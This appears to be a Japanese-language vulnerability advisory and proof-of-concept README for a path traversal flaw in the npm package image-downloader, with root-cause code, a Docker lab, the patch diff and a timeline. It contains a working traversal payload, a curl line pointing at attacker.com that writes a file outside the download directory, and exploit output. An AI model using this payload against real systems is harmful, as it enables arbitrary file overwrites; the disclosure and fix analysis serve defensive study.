
CVE-2026-103648 のアドバイザリおよび PoC。image-downloader 4.3.0 におけるパストラバーサル (CWE-22) で、任意のファイル書き込みが可能。根本原因分析、パッチ diff、Docker ラボを含む。
image-downloader におけるパストラバーサル
発見者: Amirhossein Roustaei (@EterNullSec) — Eternull Security
⚠️ 教育目的のみ。 このリポジトリは、責任ある開示が行われた脆弱性を文書化したものです。すべての PoC コードは、認可されたセキュリティ研究および隔離されたラボ環境でのテストのみを目的としています。所有していないシステム、または明示的な書面によるテスト許可を得ていないシステムに対して使用しないでください。
| 項目 | 詳細 |
|---|---|
| CVE ID | CVE-2026-103648 |
| NVD エントリ | nvd.nist.gov/vuln/detail/CVE-2026-103648 |
| CVSS v3.1 スコア | 9.1 Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22: パス名の制限されたディレクトリへの不適切な制限 |
| パッケージ | image-downloader (npm) by demsking |
| npm 週間ダウンロード数 | 約11,000 (月間約38,000) — source |
| 影響を受けるバージョン | < 4.3.1 (4.3.0 を含むすべてのバージョン) |
| 修正バージョン | 4.3.1 |
| 割り当て者 | GitLab |
| 公開日 | 2026-10-02 |
| 報告者 | Amirhossein Roustaei (@EterNullSec)、Eternull Security |
この脆弱性は [email protected] のファイル名抽出ロジックに存在します。以下は影響を受けるバージョンの実際のソースコードです (index.js、公開された npm パッケージから直接取得):
// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
if (!options.url) {
return Promise.reject(new Error('The options.url is required'));
}
if (!options.dest) {
return Promise.reject(new Error('The options.dest is required'));
}
if (extractFilename) {
if (!path.extname(options.dest)) {
const url = new URL(options.url);
const pathname = url.pathname;
const basename = path.basename(pathname); // ❌ basename BEFORE decode
const decodedBasename = decodeURIComponent(basename); // decode happens AFTER
options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
}
}
// ...
return request(options);
};
path.basename(pathname) は、まだパーセントエンコードされたままの URL パス名に対して呼び出されます。%2e%2e%2fpwned.sh のようなシーケンスにはリテラルの / が含まれていないため、path.basename() は全体を単一のファイル名として扱い、そのまま返します — 何も除去されません。decodeURIComponent() に渡されます。これが %2e%2e%2f をリテラルの ../ に戻すステップですが、この時点ではすでに、サニタイズするはずだった basename ステップを通過してしまっています。path.join(options.dest, decodedBasename) は、実際の ../ セグメントを含む文字列で呼び出されます。path.join() は cd .. と同じように .. を正規化するため、最終的な書き込みパスは options.dest の外側の場所に解決されます。要するに、このコードはファイル名を正しい方法でデコードしていますが、path.basename() との順序が間違っているだけです。decode-then-basename は安全ですが、basename-then-decode は安全ではありません。
URL pathname: /%2e%2e%2fpwned.sh
basename(): "%2e%2e%2fpwned.sh" (unchanged — no literal '/')
decode: "../pwned.sh" (traversal now literal)
path.join(dest, "../pwned.sh")
→ resolves one directory ABOVE dest
Attack Vector: Network (AV:N) — remotely triggerable
Attack Complexity: Low (AC:L) — no special conditions
Privileges Required: None (PR:N) — no authentication needed
User Interaction: None (UI:N) — fully automated
Scope: Unchanged (S:U)
Confidentiality: None (C:N)
Integrity: High (I:H) — arbitrary file write
Availability: High (A:H) — overwrite critical files / DoS
このラボでは、再現を容易にするために単一のスクリプトでバグのメカニズムをエンドツーエンドで実演していますが、実際の攻撃モデルを明示的に述べておく価値があります:
image-downloader の download.image({ url, dest }) を、自身が完全に制御していない url 値で呼び出すあらゆるアプリケーション — 例えば、ユーザーが送信した URL (アバター/画像インポート機能)、Webhook ペイロードから取得した URL、または RSS/コンテンツフィードから読み取った URL。url が指す HTTP サーバーを制御 (またはリダイレクト) し、その URL のパスコンポーネントを制御します — トラバーサルはレスポンスボディではなく URL パス (%2e%2e%2f...) に存在するため、これだけで十分です。authorized_keys ファイル、またはアプリが後で実行する実行ファイルを上書きするなど)。exploit/exploit.py では、ラボの便宜上、攻撃者と被害者の役割が1つのスクリプトに統合されています (「被害者」サーバーリクエストと攻撃者制御のペイロードサーバーの両方を立ち上げます)。実際の悪用シナリオでは、これらは2つの別個の無関係な当事者です — PoC がこのように構成されているのは、単一のコマンドで脆弱性を再現できるようにするためだけです。
git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build
脆弱なサーバーは http://localhost:3000 で利用可能になります。
cd vulnerable-app/
npm install
node server.js
cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/
python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
または curl で手動実行 (トラバーサルはレスポンスボディではなく URL のパスにあります):
curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"
# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt
$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
[*] CVE-2026-103648 — image-downloader Path Traversal PoC
[*] Target : http://localhost:3000
[*] Payload URL : http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
[*] Serving payload file on port 8888...
[+] Request received by exploit HTTP server
[+] Exploit delivered. Verifying write...
[+] SUCCESS! File written to: /tmp/pwned_by_eternullsec.txt
[+] File contents: CVE-2026-103648 | Path Traversal | EterNullSec
4.3.1 で修正されました (commit fb44543)。以下は実際のパッチ適用済みソースコードです:
// [email protected] — index.js (actual source, unmodified)
const filenameFromPathname = (pathname) => {
const decoded = decodeURIComponent(pathname); // ✅ decode FIRST
if (decoded.includes('\0')) {
throw invalidFilename('the URL path contains a NUL byte');
}
return path.basename(decoded); // ✅ THEN basename
};
const isInside = (file, directory) => {
const relative = path.relative(directory, file);
return relative !== '' &&
relative !== '..' &&
!relative.startsWith(`..${path.sep}`) &&
!path.isAbsolute(relative);
};
// ... inside module.exports.image:
const resolved = path.join(directory, filenameFromPathname(new URL(options.url).pathname));
if (!isInside(resolved, directory)) {
return Promise.reject(invalidFilename('the URL path does not resolve to a file inside options.dest'));
}
3層の防御:
path.relative() による包含チェック — 結果が厳密に dest の内側に解決されない場合、たとえ将来の変更で順序のバグが再導入されても、結果を即座に拒否する念には念を入れた検証です。| 日付 | イベント |
|---|---|
| 2026-10-01 | CVE 予約 (GitLab、CNA として) |
| 2026-10-02 | [email protected] でパッチリリース |
| 2026-10-02 | CVE-2026-103648 公開 (MITRE/NVD) |
| 2026-10-03 | 公開 PoC リポジトリと write-up をリリース |